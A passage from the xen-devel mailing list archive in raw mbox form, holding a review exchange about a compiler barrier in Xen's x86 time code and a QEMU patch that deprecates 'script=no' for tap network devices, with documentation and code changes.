 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DR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dypo@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1785315433-50CCBCFC-A56F712B/0/0
X-purgate-type: clean
X-purgate-size: 1798

On 29.07.2026 10:46, Roger Pau MonnÃ© wrote:
> On Tue, Jul 28, 2026 at 01:37:15PM +0200, Jan Beulich wrote:
>> On 28.07.2026 12:32, Roger Pau MonnÃ© wrote:
>>> On Tue, Jul 28, 2026 at 10:24:38AM +0200, Jan Beulich wrote:
>>>> On 28.07.2026 10:17, Roger Pau MonnÃ© wrote:
>>>>> On Tue, Jun 30, 2026 at 04:06:00PM +0200, Jan Beulich wrote:
>>>>>> --- a/xen/arch/x86/time.c
>>>>>> +++ b/xen/arch/x86/time.c
>>>>>> @@ -2660,6 +2660,7 @@ void __init early_time_init(void)
>>>>>>  
>>>>>>      set_time_scale(&t->tsc_scale, tmp);
>>>>>>      t->stamp.local_tsc = boot_tsc_stamp;
>>>>>> +    NOW_good = true;
>>>>>
>>>>> Would you need a barrier here to ensure compiler doesn't re-order the
>>>>> writes?  Maybe using ACCESS_ONCE(), or a smp_wmb() like it's used in
>>>>> other arches?
>>>>
>>>> Aiui it isn't needed here. The compiler can't re-order the two writes,
>>>> due to our use of -fno-strict-aliasing. The barrier is there on other
>>>> arch-es to avoid re-ordering in hardware.
>>>
>>> You are the expert in compilers, but it was my understanding that
>>> `no-strict-aliasing` only affects the ordering of pointers accesses,
>>> but not plain variables.  IOW: NOW_good accesses could be reordered
>>> because it's not a pointer.  Does the compiler consider t can point to
>>> &NOW_good and hence it can't be reordered?
>>
>> Yes, that's my understanding of how this work. (Yet no, "expert" surely
>> is going too far.) Things would be different if NOW_good was a function-
>> local variable, I think.
> 
> OK, I wouldn't mind adding a compiler barrier to say on the safe side,
> but I also won't object if you think that's enough.

Okay, I've added one in, even if it feels a little odd.

> Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>

Thanks, Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 09:14:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 09:14:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375378.1622528 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp0ML-00044t-Tp; Wed, 29 Jul 2026 09:13:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375378.1622528; Wed, 29 Jul 2026 09:13:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp0ML-00044m-Qg; Wed, 29 Jul 2026 09:13:53 +0000
Received: by outflank-mailman (input) for mailman id 1375378;
 Wed, 29 Jul 2026 09:13:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vsementsov@yandex-team.ru>) id 1wp0MI-00044g-TC
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:13:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp0MI-00231e-8y
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:13:50 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a69c441-5cb7-0a2a0a5109dd-0a2a4504b436-36
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 11:13:49 +0200
Received: from [178.154.239.72] (helo=forwardcorp1a.mail.yandex.net)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vsementsov@yandex-team.ru>)
 id 6a69c447-b57f-0a2a45040019-b29aef48c794-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 11:13:44 +0200
Received: from mail-nwsmtp-smtp-corp-main-83.vla.yp-c.yandex.net
 (mail-nwsmtp-smtp-corp-main-83.vla.yp-c.yandex.net
 [IPv6:2a02:6b8:c2d:3530:0:640:eca4:0])
 by forwardcorp1a.mail.yandex.net (postfix) with ESMTPS id A0155C0A25;
 Wed, 29 Jul 2026 12:13:43 +0300 (MSK)
Received: from i115954770.yandex-team.ru (unknown [2a02:6bf:8080:484::1:24])
 by mail-nwsmtp-smtp-corp-main-83.vla.yp-c.yandex.net (smtpcorp) with ESMTPSA
 id bDa8GXKW9mI0-uhFnnf01; Wed, 29 Jul 2026 12:13:42 +0300
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=default header.d=yandex-team.ru header.i="@yandex-team.ru" header.h="Cc:Message-ID:References:Date:In-Reply-To:Subject:To:From"
Precedence: bulk
X-Yandex-Fwd: 1
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex-team.ru;
	s=default; t=1785316422;
	bh=CPeeLqJxqKF0PJ+VeCy5iEY5SVA2hqQkETeHHoPveXg=;
	h=Cc:Message-ID:References:Date:In-Reply-To:Subject:To:From;
	b=MNA+ptt2hcrLfSu3VKZuHq1pHRnoO4GkMV2eS1Q/MuFiuRNwwTxIPZhplVZVg3XiF
	 yRMRQSk8IIYZuQY5Tc4sk5NnYqDK3vGvvhJ31s9CnQDkCbATZWzJf65KhiXQE1NKzt
	 p+qaQ+Dfvz55J5DEaMsCBBXdaWehA5f7P5gS3uNY=
Authentication-Results: mail-nwsmtp-smtp-corp-main-83.vla.yp-c.yandex.net; dkim=pass header.i=@yandex-team.ru
From: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
To: jasowang@redhat.com,
	mst@redhat.com
Cc: armbru@redhat.com,
	peterx@redhat.com,
	farosas@suse.de,
	raphael.s.norwitz@gmail.com,
	bchaney@akamai.com,
	vsementsov@yandex-team.ru,
	qemu-devel@nongnu.org,
	berrange@redhat.com,
	pbonzini@redhat.com,
	yc-core@yandex-team.ru,
	mark.caveayland@nutanix.com,
	Pierrick Bouvier <pierrick.bouvier@oss.qualcomm.com>,
	Sergio Lopez <slp@redhat.com>,
	Zhao Liu <zhao1.liu@intel.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	Bernhard Beschow <shentey@gmail.com>,
	Conor Dooley <conor@kernel.org>,
	Sebastian Huber <sebastian.huber@embedded-brains.de>,
	Alistair Francis <Alistair.Francis@wdc.com>,
	Palmer Dabbelt <palmer@dabbelt.com>,
	Jason Wang <jasowangio@gmail.com>,
	Eric Blake <eblake@redhat.com>,
	devel@lists.libvirt.org (open list:Incompatible changes),
	xen-devel@lists.xenproject.org (open list:X86 Xen CPUs),
	qemu-ppc@nongnu.org (open list:e500),
	qemu-riscv@nongnu.org (open list:Microchip PolarFi...)
Subject: [PATCH v20 03/15] net/tap: deprecate "no" as special value for script/downscript
Date: Wed, 29 Jul 2026 12:12:41 +0300
Message-ID: <20260729091334.1863155-4-vsementsov@yandex-team.ru>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260729091334.1863155-1-vsementsov@yandex-team.ru>
References: <20260729091334.1863155-1-vsementsov@yandex-team.ru>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1785316429-C1AD0B50-8F8A955D/0/0
X-purgate-type: clean
X-purgate-size: 12499

The interface is ambiguous, as "no" is valid file name. So,
using "no" as a special value to disable script is deprecated.
Use an empty string ("script=" / "downscript=") instead.

In a future version, "no" will be treated as a plain file name, just
like any other non-empty value.

Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
and qemu-options.hx. Update other docs to use empty string instead of
"no". Add a warning.

Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
Reviewed-by: Ben Chaney <bchaney@akamai.com>
Reviewed-by: Markus Armbruster <armbru@redhat.com>
---
 docs/about/deprecated.rst                  | 18 ++++++++++++++++++
 docs/system/i386/microvm.rst               |  4 ++--
 docs/system/i386/xenpvh.rst                |  2 +-
 docs/system/ppc/ppce500.rst                |  4 ++--
 docs/system/riscv/microchip-icicle-kit.rst |  2 +-
 docs/system/riscv/sifive_u.rst             |  2 +-
 net/tap.c                                  | 17 +++++++++++------
 qapi/net.json                              | 14 ++++++++++----
 qemu-options.hx                            |  8 ++++++--
 9 files changed, 52 insertions(+), 19 deletions(-)

diff --git a/docs/about/deprecated.rst b/docs/about/deprecated.rst
index 0c656a968fc..c4929317e3a 100644
--- a/docs/about/deprecated.rst
+++ b/docs/about/deprecated.rst
@@ -71,6 +71,15 @@ flexible enough. The monitor objects have been converted to QOM, so
 ``-mon mode=control`` is replaced by ``-object monitor-qmp``. The
 short convenience options are not deprecated, only ``-mon``.
 
+``script=no`` and ``downscript=no`` for ``-netdev tap`` (since 11.2)
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+
+The special value ``"no"`` for the ``script`` and ``downscript``
+parameters of ``-netdev tap`` disables script execution.  This special
+treatment of ``"no"`` is deprecated.  Use an empty string (``script=``
+or ``downscript=``) to disable script execution instead.  In a future
+version, ``"no"`` will be treated as a plain file name.
+
 QEMU Machine Protocol (QMP) commands
 ------------------------------------
 
@@ -164,6 +173,15 @@ Use ``job-finalize`` instead.
 
 Use ``query-accelerators`` instead.
 
+``"no"`` as value of ``script``/``downscript`` for tap in ``netdev_add`` (since 11.2)
+'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
+
+The special value ``"no"`` for the ``script`` and ``downscript``
+parameters of ``netdev_add`` with ``type=tap`` disables script
+execution.  This special treatment of ``"no"`` is deprecated.  Use an
+empty string instead.  In a future version, ``"no"`` will be treated as
+a plain file name.
+
 Human Machine Protocol (HMP) commands
 -------------------------------------
 
diff --git a/docs/system/i386/microvm.rst b/docs/system/i386/microvm.rst
index 1675e37d3e7..077ea15751e 100644
--- a/docs/system/i386/microvm.rst
+++ b/docs/system/i386/microvm.rst
@@ -79,7 +79,7 @@ legacy ``ISA serial`` device as console::
      -serial stdio \
      -drive id=test,file=test.img,format=raw,if=none \
      -device virtio-blk-device,drive=test \
-     -netdev tap,id=tap0,script=no,downscript=no \
+     -netdev tap,id=tap0,script=,downscript= \
      -device virtio-net-device,netdev=tap0
 
 While the example above works, you might be interested in reducing the
@@ -103,7 +103,7 @@ disabled::
      -device virtconsole,chardev=virtiocon0 \
      -drive id=test,file=test.img,format=raw,if=none \
      -device virtio-blk-device,drive=test \
-     -netdev tap,id=tap0,script=no,downscript=no \
+     -netdev tap,id=tap0,script=,downscript= \
      -device virtio-net-device,netdev=tap0
 
 
diff --git a/docs/system/i386/xenpvh.rst b/docs/system/i386/xenpvh.rst
index 904778e3f5c..862f38830b1 100644
--- a/docs/system/i386/xenpvh.rst
+++ b/docs/system/i386/xenpvh.rst
@@ -42,7 +42,7 @@ case you need to construct one manually:
       -vnc none                                       \
       -display none                                   \
       -device virtio-net-pci,id=nic0,netdev=net0,mac=00:16:3e:5c:81:78 \
-      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=no,downscript=no \
+      -netdev type=tap,id=net0,ifname=vif3.0-emu,br=xenbr0,script=,downscript= \
       -smp 4,maxcpus=4                                \
       -nographic                                      \
       -machine xenpvh,ram-low-base=0,ram-low-size=2147483648,ram-high-base=4294967296,ram-high-size=2147483648,pci-ecam-base=824633720832,pci-ecam-size=268435456,pci-mmio-base=4026531840,pci-mmio-size=33554432,pci-mmio-high-base=824902156288,pci-mmio-high-size=68719476736 \
diff --git a/docs/system/ppc/ppce500.rst b/docs/system/ppc/ppce500.rst
index c9fe0915dc5..ec5aaf14fd9 100644
--- a/docs/system/ppc/ppce500.rst
+++ b/docs/system/ppc/ppce500.rst
@@ -158,14 +158,14 @@ interface at PCI address 0.1.0, but we can switch that to an e1000 NIC by:
   $ qemu-system-ppc64 -M ppce500 -smp 4 -m 2G \
                       -display none -serial stdio \
                       -bios u-boot \
-                      -nic tap,ifname=tap0,script=no,downscript=no,model=e1000
+                      -nic tap,ifname=tap0,script=,downscript=,model=e1000
 
 The QEMU ``ppce500`` machine can also dynamically instantiate an eTSEC device
 if â€œ-device eTSECâ€ is given to QEMU:
 
 .. code-block:: bash
 
-  -netdev tap,ifname=tap0,script=no,downscript=no,id=net0 -device eTSEC,netdev=net0
+  -netdev tap,ifname=tap0,script=,downscript=,id=net0 -device eTSEC,netdev=net0
 
 Root file system on flash drive
 -------------------------------
diff --git a/docs/system/riscv/microchip-icicle-kit.rst b/docs/system/riscv/microchip-icicle-kit.rst
index 9809e94b84b..7fdb96601ad 100644
--- a/docs/system/riscv/microchip-icicle-kit.rst
+++ b/docs/system/riscv/microchip-icicle-kit.rst
@@ -84,7 +84,7 @@ Then we can boot the machine by:
   $ qemu-system-riscv64 -M microchip-icicle-kit -smp 5 -m 2G \
       -sd path/to/sdcard.img \
       -nic user,model=cadence_gem \
-      -nic tap,ifname=tap,model=cadence_gem,script=no \
+      -nic tap,ifname=tap,model=cadence_gem,script= \
       -display none -serial stdio \
       -kernel path/to/u-boot/build/dir/u-boot.bin \
       -dtb path/to/u-boot/build/dir/u-boot.dtb
diff --git a/docs/system/riscv/sifive_u.rst b/docs/system/riscv/sifive_u.rst
index 8f55ae8e313..0e4dcf3e70c 100644
--- a/docs/system/riscv/sifive_u.rst
+++ b/docs/system/riscv/sifive_u.rst
@@ -199,7 +199,7 @@ To boot the VxWorks kernel in QEMU with the ``sifive_u`` machine, use:
 
   $ qemu-system-riscv64 -M sifive_u -smp 5 -m 2G \
       -display none -serial stdio \
-      -nic tap,ifname=tap0,script=no,downscript=no \
+      -nic tap,ifname=tap0,script=,downscript= \
       -kernel /path/to/vxWorks \
       -append "gem(0,0)host:vxWorks h=192.168.200.1 e=192.168.200.2:ffffff00 u=target pw=vxTarget f=0x01"
 
diff --git a/net/tap.c b/net/tap.c
index 2076f5b7802..f4051e8d4b1 100644
--- a/net/tap.c
+++ b/net/tap.c
@@ -92,7 +92,8 @@ static void launch_script(const char *setup_script, const char *ifname,
 static void tap_send(void *opaque);
 static void tap_writable(void *opaque);
 
-static bool tap_is_explicit_no_script(const char *script_arg_value)
+static bool tap_is_explicit_no_script(const char *script_arg_name,
+                                      const char *script_arg_value)
 {
     if (!script_arg_value) {
         return false;
@@ -103,16 +104,19 @@ static bool tap_is_explicit_no_script(const char *script_arg_value)
     }
 
     if (strcmp(script_arg_value, "no") == 0) {
+        warn_report("'%s=no' is deprecated; use '%s=' instead",
+                    script_arg_name, script_arg_name);
         return true;
     }
 
     return false;
 }
 
-static char *tap_parse_script(const char *script_arg_value,
+static char *tap_parse_script(const char *script_arg_name,
+                              const char *script_arg_value,
                               const char *default_path)
 {
-    if (tap_is_explicit_no_script(script_arg_value)) {
+    if (tap_is_explicit_no_script(script_arg_name, script_arg_value)) {
         return NULL;
     }
 
@@ -741,7 +745,7 @@ static bool net_init_tap_one(const NetdevTapOptions *tap, NetClientState *peer,
         qemu_set_info_str(&s->nc, "helper=%s", tap->helper);
     } else {
         qemu_set_info_str(&s->nc, "ifname=%s,script=%s,downscript=%s", ifname,
-                          script ?: "no", downscript ?: "no");
+                          script ?: "", downscript ?: "");
 
         if (downscript) {
             snprintf(s->down_script, sizeof(s->down_script), "%s", downscript);
@@ -947,9 +951,10 @@ int net_init_tap(const Netdev *netdev, const char *name,
         }
     } else {
         g_autofree char *script =
-            tap_parse_script(tap->script, DEFAULT_NETWORK_SCRIPT);
+            tap_parse_script("script", tap->script, DEFAULT_NETWORK_SCRIPT);
         g_autofree char *downscript =
-            tap_parse_script(tap->downscript, DEFAULT_NETWORK_DOWN_SCRIPT);
+            tap_parse_script("downscript", tap->downscript,
+                             DEFAULT_NETWORK_DOWN_SCRIPT);
 
         if (tap->ifname) {
             pstrcpy(ifname, sizeof ifname, tap->ifname);
diff --git a/qapi/net.json b/qapi/net.json
index 8f0915c4d86..acb8594c952 100644
--- a/qapi/net.json
+++ b/qapi/net.json
@@ -399,15 +399,21 @@
 # @fds: multiple file descriptors of already opened multiqueue capable
 #     tap
 #
-# @script: script to initialize the interface.  An empty string or
-#     "no" disables script execution.  Defaults to
+# @script: script to initialize the interface.  An empty string
+#     disables script execution.  Defaults to
 #     ``<sysconfdir>/qemu-ifup``, where ``<sysconfdir>`` is the
 #     system configuration directory at build time (typically /etc).
+#     Using "no" to disable script execution is deprecated (since
+#     11.2); use an empty string instead.  In a future version, "no"
+#     will be treated as a plain file name.
 #
-# @downscript: script to shut down the interface.  An empty string or
-#     "no" disables script execution.  Defaults to
+# @downscript: script to shut down the interface.  An empty string
+#     disables script execution.  Defaults to
 #     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the
 #     system configuration directory at build time (typically /etc).
+#     Using "no" to disable script execution is deprecated (since
+#     11.2); use an empty string instead.  In a future version, "no"
+#     will be treated as a plain file name.
 #
 # @br: bridge name (since 2.8)
 #
diff --git a/qemu-options.hx b/qemu-options.hx
index 200949655ea..1efdb8e9860 100644
--- a/qemu-options.hx
+++ b/qemu-options.hx
@@ -3014,7 +3014,8 @@ DEF("netdev", HAS_ARG, QEMU_OPTION_netdev,
     "                use network scripts 'file' (default=" DEFAULT_NETWORK_SCRIPT ")\n"
     "                to configure it and 'dfile' (default=" DEFAULT_NETWORK_DOWN_SCRIPT ")\n"
     "                to deconfigure it\n"
-    "                use '[down]script=no' or '[down]script=' to disable script execution\n"
+    "                use '[down]script=' to disable script execution\n"
+    "                ('[down]script=no' is deprecated and will be treated as a file name in future)\n"
     "                use network helper 'helper' (default=" DEFAULT_BRIDGE_HELPER ") to\n"
     "                configure it\n"
     "                use 'fd=h' to connect to an already opened TAP interface\n"
@@ -3553,7 +3554,10 @@ SRST
     ``<sysconfdir>/qemu-ifup`` and the default network deconfigure script is
     ``<sysconfdir>/qemu-ifdown``, where ``<sysconfdir>`` is the system
     configuration directory at build time (typically ``/etc``).
-    Use ``[down]script=no`` or ``[down]script=`` to disable script execution.
+    Use ``[down]script=`` to disable script execution.
+    Using ``[down]script=no`` is deprecated; it disables script
+    execution now, but in a future version it will be treated as a
+    plain file name.
 
     If running QEMU as an unprivileged user, use the network helper
     to configure the TAP interface and attach it to the bridge.
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 09:14:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 09:14:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375381.1622538 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp0Mm-0004SO-87; Wed, 29 Jul 2026 09:14:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375381.1622538; Wed, 29 Jul 2026 09:14:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp0Mm-0004SG-4X; Wed, 29 Jul 2026 09:14:20 +0000
Received: by outflank-mailman (input) for mailman id 1375381;
 Wed, 29 Jul 2026 09:14:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wp0Mk-0004Qs-ON
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:14:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp0Mj-00Dkna-UG
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:14:17 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a69c457-2eae-0a2a0a5409dd-0a2a4504ecac-36
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 11:14:17 +0200
Received: from [74.125.224.51] (helo=mail-yx1-f51.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a69c468-b57f-0a2a45040019-4a7de033c0e5-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 11:14:17 +0200
Received: by mail-yx1-f51.google.com with SMTP id
 956f58d0204a3-66843304cbaso1023184d50.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 02:14:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1785316456; cv=none;
        d=google.com; s=arc-20260327;
        b=mihjp0hro/0l9lY4vLFiBPVS5xA4jZn09iOmAX8umdq5VQHFX3Il9Nr3oJ+FMI2iNo
         p7MSng1/PazPsmFxMgRhz/dcQjuE6Zrx6dbzvotK8cP2e4NvDTgLYq0qO+gUiHtRjaeE
         BmEa9Q2q6iy0jQ72h5TgNICkTgyHx5A08Jm3fFMdsx3MwOEGQwps4CKCIxx+L8mv1PQq
         GytML98XFiGNZualAQ54hWtqR27i3vtm6SB9M1tEfgmaltK3d54rkx4ozaZkPsTH7YyA
         nia4molkjVK3OkVkeG5f89f81OiahqfSMgrwkaikh9m7MdIit4R0C+oguten4+QVOOaU
         Aaww==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=iBuRtLlMSvtMm7GNZ+TiOU37HeLzRf42lL6VMzRrMkg=;
        fh=dy33UISnQlZ41cwkZmYx4Up4n1BvH0o3W8MGpJVGBiM=;
        b=qrfAb/C07sWq5wVtFOZhwHwWjbw5+3IheAcXRkyB812OtxQmJsGWJKJf+gkZy8ramx
         Gjf9qFzE8cZnPJiWB424u3jyPTuIT0uiptiBMe1WproW+ofILSeID0WRitbsi+ewfBeF
         D1PKgppNhKz3gS6RY3PDFo7SVhJxzD9QOt9llUruKDjhIMPCyye6N2TYoiZfubb8iBYv
         kvrr5wJvnP81tE/+XhUaoZ6FQ59+LiKf4dle51CG04MKdZPfpC2oWiD0USEUx3EvNhnl
         At8LypIoXaErnjpR5PNysaheNE4LfogTEcbuITAwiVOT+ObQLvPXIYO/WIcJHxeLwze1
         Z0BA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785316456; x=1785921256; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=iBuRtLlMSvtMm7GNZ+TiOU37HeLzRf42lL6VMzRrMkg=;
        b=q98OdPzX2ncLxt+vnIr92qyWs/FX6yi/tiUii7ll5Oh64V3E2CVElPIBB5wnUkhFSH
         hnWm6p8Q3MZ77u55WCr9SnfrxWLpo1CBLaOts6LenYfqoVSd9czXyxtYH+93y7lgwCM+
         z1YKTc3f5O1tozVCgUaBJIj6fWqJ/fJlSjpQ86OvGL209QxFADAxKFtwtJbhXs/8pgCk
         8VrdW4O1HWQLVGtLB4tywh4+RXNvEnlwZGtKh7P5Wx8dtnOIg/fisxVX9Td91XeT6Kp4
         eNbUaVGKgVrJz+daC9SfzjgCywQzeJd8QVO4u9IoTRY8U6AjFZXlXz4T0yD5oEOVh+0n
         mJBw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785316456; x=1785921256;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=iBuRtLlMSvtMm7GNZ+TiOU37HeLzRf42lL6VMzRrMkg=;
        b=aFIbVNVocaohCp1jlKL+P/rkeMir0qpHnPmHcYzTXdol8AzXm6sBIFWHwFeRmg8+/N
         I1hTMKgnwY+poQU24tI3U7SQcYJuseTZ4P8kw3vR2pF85Wgw3en0LQeAzJjsMkyZrZKP
         XZKEF9sYWvxWLFbkccwx8gz6UHJU/VPvDoMm7Bjx13vB4wchfM6Y4DZGCfMgkJ4l2Nv1
         g1PWw7CziejiAYbsj4tqnXEg22ryrLXZMwCoSK7nqnkFVeR7YOxFYMk0M6wq+150dQRx
         afZll84VZx+1GKoYAYNN2Ft54Kzt1cKoA2Zj1rsM1EvV2TjGr8DRLLW9QsZOqnoxAp/t
         YNgA==
X-Forwarded-Encrypted: i=1; AHgh+RpBxArfukfgPsSbOnDwIyp1RaN1gf1M9ujNvRXwkPHHy7hW/ELSsQYjtVRLwyB+qye7atSaGjl3Sz8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyOPfxRrwOuMbs0HF5IDM44FiWx/rXvAghnA4U2Bb4RyCTVHMcI
	xc3qHNTDiEC15zz0mA9pW8qblAka1pA+XeVuIby5R1VRpkufewykVPGUCQfC4Vam/qEOv59xAWi
	MtfAgTiXsgPqJ5Vpq4dRlNorcAa4sOwM=
X-Gm-Gg: AR+sD13qs5ljYbJxm5R5ViqyQObdGQI/SlfFsWNkwTVWJnW3BH0RPRuL51Sk2ViEhLf
	sxGQurwJrOhT/6uE4h6/vSh/ExO/vWV//jTILiKA7x2n824AIoDxqNtZRUoQ3rNKVYW6ms9S/Gg
	d8KXW2t1UyvZ0/L8BqfSSBkIcmXHhhAYaC2FzNzqEfCm3G7IAkwohuRm+HWIV1v9/z2TX1eCXjw
	4VJR081UySDmlclnvoHnVRXWjcHi5m2J+AlAZ8OIzgpGM4eIeWzxkZBunrYx5urWPREWMbE6mlx
	nMUzv2wLmC+yIeHsBHuomQy/yM0Tf9SrGGQFJpLwGeW4yAOD4IJ9LFUMmkn0ZIKRP6VnXn4bERK
	v
X-Received: by 2002:a53:c044:0:10b0:667:e172:afb9 with SMTP id
 956f58d0204a3-6690582c993mr1926931d50.86.1785316456198; Wed, 29 Jul 2026
 02:14:16 -0700 (PDT)
MIME-Version: 1.0
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
 <20260720154832.1907401-2-marcus.granado@citrix.com> <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
 <CAHt6W4erBfB+H_0d+2rQ0apz9Jt6ex+WVjEjyPm6EApoHVJgmg@mail.gmail.com> <1784755834.8631fc262581453bbf619ec5b2062170.19f8bbccffd000edb5@vates.tech>
In-Reply-To: <1784755834.8631fc262581453bbf619ec5b2062170.19f8bbccffd000edb5@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Wed, 29 Jul 2026 10:14:05 +0100
X-Gm-Features: AUfX_myKi9qC50Afna584PNlFoINWnVnEXggA0iQW-gMYQFeXByKFGR8FA_gPt8
Message-ID: <CAHt6W4cWLfSVoCSgr-YsQb1Mv=VZek0CakTBwK7tx_n9RkeiUg@mail.gmail.com>
Subject: Re: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Marcus Granado <marcus.granado@citrix.com>, xen-devel@lists.xenproject.org, 
	Andrew Cooper <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Anthony PERARD <anthony.perard@vates.tech>, 
